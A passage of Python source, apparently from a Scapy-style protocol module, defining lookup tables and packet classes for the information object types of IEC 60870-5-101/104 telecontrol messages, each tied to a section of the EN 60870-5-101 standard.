IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1 (single point command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1 (double point command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1 (step control command with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1 (setpoint command, normed value with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1 (setpoint command, scaled value with ' 'CP56Time2a time field)', IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1 (setpoint command, shortened floating ' 'point value with CP56Time2a time field)', IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1 (bitmask 32 command bit with ' 'CP56Time2a time field)', IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1 (init done)', IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1 (general interrogation command)', IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1 (counter interrogation command)', IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1 (interrogation)', IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1 (time synchronisation command)', IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1 (test command) # 60870-4-101 only', IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1 (process reset command)', IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1 (meas telegram transit time command) ' '# 60870-4-101 only', IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1 (test command with CP56Time2a ' 'time field)', IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1 (meas parameter, normed value)', IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1 (meas parameter, scaled value)', IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1 (meas parameter, shortened floating ' 'point value)', IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1 (parameter for activation)', IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1 (file ready)', IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1 (section ready)', IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1 (query directory, selection, section)', IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1 (last part/segment)', IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1 (file/section acknowledgement)', IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1 (segment)', IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1 (directory)', IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1 (query log - request archive file)' } _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 22, 29) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 41, 44) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 52, 57) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 65, 69) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 71, 99) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 108, 109) _dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 114, 119) IEC104_IO_NAMES = { 0: 'undefined', IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1', IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1', IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1', IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1', IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1', IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1', IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1', IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1', IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1', IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1', IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1', IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1', IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1', IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1', IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1', IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1', IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1', IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1', IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1', IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1', IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1', IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1', IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1', IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1', IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1', IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1', IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1', IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1', IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1', IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1', IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1', IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1', IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1', IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1', IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1', IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1', IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1', IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1', IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1', IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1', IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1', IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1', IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1', IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1', IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1', IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1', IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1', IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1', IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1', IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1', IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1', IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1', IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1', IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1', IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1', IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1', IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1', IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1', IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1', IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1', IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1', IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1', IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1', IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1', IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1', IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1', IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1' } _dict_add_reserved_range(IEC104_IO_NAMES, 22, 29) _dict_add_reserved_range(IEC104_IO_NAMES, 41, 44) _dict_add_reserved_range(IEC104_IO_NAMES, 52, 57) _dict_add_reserved_range(IEC104_IO_NAMES, 65, 69) _dict_add_reserved_range(IEC104_IO_NAMES, 71, 99) _dict_add_reserved_range(IEC104_IO_NAMES, 108, 109) _dict_add_reserved_range(IEC104_IO_NAMES, 114, 119) class IEC104_IO_InvalidPayloadException(Exception): """ raised if payload is not of the same type, raw() or a child of IEC104_APDU """ pass class IEC104_IO_Packet(Packet): """ base class of all information object representations """ DEFINED_IN_IEC_101 = 0x01 DEFINED_IN_IEC_104 = 0x02 _DEFINED_IN = [] def guess_payload_class(self, payload): return conf.padding_layer _IEC104_IO_TYPE_ID = IEC104_IO_ID_UNDEFINED def iec104_io_type_id(self): """ get individual type id of the information object instance :return: information object type id (IEC104_IO_ID_*) """ return self._IEC104_IO_TYPE_ID def defined_for_iec_101(self): """ information object ASDU allowed for IEC 60870-5-101 :return: True if the information object is defined within IEC 60870-5-101, else False """ return IEC104_IO_Packet.DEFINED_IN_IEC_101 in self._DEFINED_IN def defined_for_iec_104(self): """ information object ASDU allowed for IEC 60870-5-104 :return: True if the information object is defined within IEC 60870-5-104, else False """ return IEC104_IO_Packet.DEFINED_IN_IEC_104 in self._DEFINED_IN class IEC104_IO_M_SP_NA_1(IEC104_IO_Packet): """ single-point information without time tag] EN 60870-5-101:2003, sec. 7.3.1.1 (p. 58) """ name = 'M_SP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_NA_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields class IEC104_IO_M_SP_TA_1(IEC104_IO_Packet): """ single-point information with time tag EN 60870-5-101:2003, sec. 7.3.1.2 (p. 59) """ name = 'M_SP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TA_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_DP_NA_1(IEC104_IO_Packet): """ double-point information without time tag EN 60870-5-101:2003, sec. 7.3.1.3 (p. 60) """ name = 'M_DP_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_NA_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields class IEC104_IO_M_DP_TA_1(IEC104_IO_Packet): """ double-point information with time tag EN 60870-5-101:2003, sec. 7.3.1.4 (p. 61) """ name = 'M_DP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TA_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ST_NA_1(IEC104_IO_Packet): """ step position information EN 60870-5-101:2003, sec. 7.3.1.5 (p. 62) """ name = 'M_ST_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_NA_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ST_TA_1(IEC104_IO_Packet): """ step position information with time tag EN 60870-5-101:2003, sec. 7.3.1.6 (p. 63) """ name = 'M_ST_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TA_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_BO_NA_1(IEC104_IO_Packet): """ bitstring of 32 bit EN 60870-5-101:2003, sec. 7.3.1.7 (p. 64) """ name = 'M_BO_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_NA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_BO_TA_1(IEC104_IO_Packet): """ bitstring of 32 bit with time tag EN 60870-5-101:2003, sec. 7.3.1.8 (p. 66) """ name = 'M_BO_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NA_1(IEC104_IO_Packet): """ measured value, normalized value EN 60870-5-101:2003, sec. 7.3.1.9 (p. 67) """ name = 'M_ME_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TA_1(IEC104_IO_Packet): """ measured value, normalized value with time tag EN 60870-5-101:2003, sec. 7.3.1.10 (p. 68) """ name = 'M_ME_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NB_1(IEC104_IO_Packet): """ measured value, scaled value EN 60870-5-101:2003, sec. 7.3.1.11 (p. 69) """ name = 'M_ME_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TB_1(IEC104_IO_Packet): """ measured value, scaled value with time tag EN 60870-5-101:2003, sec. 7.3.1.12 (p. 71) """ name = 'M_ME_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_ME_NC_1(IEC104_IO_Packet): """ measured value, short floating point number EN 60870-5-101:2003, sec. 7.3.1.13 (p. 72) """ name = 'M_ME_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_TC_1(IEC104_IO_Packet): """ measured value, short floating point number with time tag EN 60870-5-101:2003, sec. 7.3.1.14 (p. 74) """ name = 'M_ME_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_IT_NA_1(IEC104_IO_Packet): """ integrated totals EN 60870-5-101:2003, sec. 7.3.1.15 (p. 75) """ name = 'M_IT_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_NA_1 fields_desc = IEC104_IE_BCR.informantion_element_fields class IEC104_IO_M_IT_TA_1(IEC104_IO_Packet): """ integrated totals with time tag EN 60870-5-101:2003, sec. 7.3.1.16 (p. 77) """ name = 'M_IT_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TA_1 fields_desc = IEC104_IE_BCR.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TA_1(IEC104_IO_Packet): """ event of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.17 (p. 78) """ name = 'M_EP_TA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TA_1 fields_desc = IEC104_IE_SEP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TB_1(IEC104_IO_Packet): """ packed start events of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.18 (p. 79) """ name = 'M_EP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TB_1 fields_desc = IEC104_IE_SPE.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_EP_TC_1(IEC104_IO_Packet): """ packed output circuit information of protection equipment with time tag EN 60870-5-101:2003, sec. 7.3.1.19 (p. 80) """ name = 'M_EP_TC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TC_1 fields_desc = IEC104_IE_OCI.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ informantion_element_fields + \ IEC104_IE_CP24TIME2A.informantion_element_fields class IEC104_IO_M_PS_NA_1(IEC104_IO_Packet): """ packed single-point information with status change detection EN 60870-5-101:2003, sec. 7.3.1.20 (p. 81) """ name = 'M_PS_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_PS_NA_1 fields_desc = IEC104_IE_SCD.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields class IEC104_IO_M_ME_ND_1(IEC104_IO_Packet): """ measured value, normalized value without quality descriptor EN 60870-5-101:2003, sec. 7.3.1.21 (p. 83) """ name = 'M_ME_ND_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_ND_1 fields_desc = IEC104_IE_NVA.informantion_element_fields class IEC104_IO_M_SP_TB_1(IEC104_IO_Packet): """ single-point information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.22 (p. 84) """ name = 'M_SP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TB_1 fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_DP_TB_1(IEC104_IO_Packet): """ double-point information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.23 (p. 85) """ name = 'M_DP_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TB_1 fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ST_TB_1(IEC104_IO_Packet): """ step position information with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.24 (p. 87) """ name = 'M_ST_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TB_1 fields_desc = IEC104_IE_VTI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_BO_TB_1(IEC104_IO_Packet): """ bitstring of 32 bits with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.25 (p. 89) """ name = 'M_BO_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TB_1 fields_desc = IEC104_IE_BSI.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TD_1(IEC104_IO_Packet): """ measured value, normalized value with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.26 (p. 91) """ name = 'M_ME_TD_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TD_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TE_1(IEC104_IO_Packet): """ measured value, scaled value with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.27 (p. 93) """ name = 'M_ME_TE_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TE_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_ME_TF_1(IEC104_IO_Packet): """ measured value, short floating point number with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.28 (p. 95) """ name = 'M_ME_TF_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TF_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QDS.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_IT_TB_1(IEC104_IO_Packet): """ integrated totals with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.29 (p. 97) """ name = 'M_IT_TB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TB_1 fields_desc = IEC104_IE_BCR.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TD_1(IEC104_IO_Packet): """ event of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.30 (p. 99) """ name = 'M_EP_TD_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TD_1 fields_desc = IEC104_IE_SEP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TE_1(IEC104_IO_Packet): """ packed start events of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.31 (p. 100) """ name = 'M_EP_TE_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TE_1 fields_desc = IEC104_IE_SPE.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_M_EP_TF_1(IEC104_IO_Packet): """ packed output circuit information of protection equipment with time tag cp56time2a EN 60870-5-101:2003, sec. 7.3.1.32 (p. 101) """ name = 'M_EP_TF_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TF_1 fields_desc = IEC104_IE_OCI.informantion_element_fields + \ IEC104_IE_QDP.informantion_element_fields + \ IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\ informantion_element_fields + \ IEC104_IE_CP56TIME2A.informantion_element_fields class IEC104_IO_C_SC_NA_1(IEC104_IO_Packet): """ single command EN 60870-5-101:2003, sec. 7.3.2.1 (p. 102) """ name = 'C_SC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SC_NA_1 fields_desc = IEC104_IE_SCO.informantion_element_fields class IEC104_IO_C_DC_NA_1(IEC104_IO_Packet): """ double command EN 60870-5-101:2003, sec. 7.3.2.2 (p. 102) """ name = 'C_DC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_DC_NA_1 fields_desc = IEC104_IE_DCO.informantion_element_fields class IEC104_IO_C_RC_NA_1(IEC104_IO_Packet): """ regulating step command EN 60870-5-101:2003, sec. 7.3.2.3 (p. 103) """ name = 'C_RC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_RC_NA_1 fields_desc = IEC104_IE_RCO.informantion_element_fields class IEC104_IO_C_SE_NA_1(IEC104_IO_Packet): """ set-point command, normalized value EN 60870-5-101:2003, sec. 7.3.2.4 (p. 104) """ name = 'C_SE_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NA_1 fields_desc = IEC104_IE_NVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_SE_NB_1(IEC104_IO_Packet): """ set-point command, scaled value EN 60870-5-101:2003, sec. 7.3.2.5 (p. 104) """ name = 'C_SE_NB_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NB_1 fields_desc = IEC104_IE_SVA.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_SE_NC_1(IEC104_IO_Packet): """ set-point command, short floating point number EN 60870-5-101:2003, sec. 7.3.2.6 (p. 105) """ name = 'C_SE_NC_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_SE_NC_1 fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \ IEC104_IE_QOS.informantion_element_fields class IEC104_IO_C_BO_NA_1(IEC104_IO_Packet): """ bitstring of 32 bit EN 60870-5-101:2003, sec. 7.3.2.7 (p. 106) """ name = 'C_BO_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_BO_NA_1 fields_desc = IEC104_IE_BSI.informantion_element_fields class IEC104_IO_M_EI_NA_1(IEC104_IO_Packet): """ end of initialization EN 60870-5-101:2003, sec. 7.3.3.1 (p. 106) """ name = 'M_EI_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EI_NA_1 fields_desc = IEC104_IE_COI.informantion_element_fields class IEC104_IO_C_IC_NA_1(IEC104_IO_Packet): """ interrogation command EN 60870-5-101:2003, sec. 7.3.4.1 (p. 107) """ name = 'C_IC_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_IC_NA_1 fields_desc = IEC104_IE_QOI.informantion_element_fields class IEC104_IO_C_CI_NA_1(IEC104_IO_Packet): """ counter interrogation command EN 60870-5-101:2003, sec. 7.3.4.2 (p. 108) """ name = 'C_CI_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, IEC104_IO_Packet.DEFINED_IN_IEC_104] _IEC104_IO_TYPE_ID = IEC104_IO_ID_C_CI_NA_1 fields_desc = IEC104_IE_QCC.informantion_element_fields class IEC104_IO_C_RD_NA_1(IEC104_IO_Packet): """ read command EN 60870-5-101:2003, sec. 7.3.4.3 (p. 108) """ name = 'C_RD_NA_1' _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, 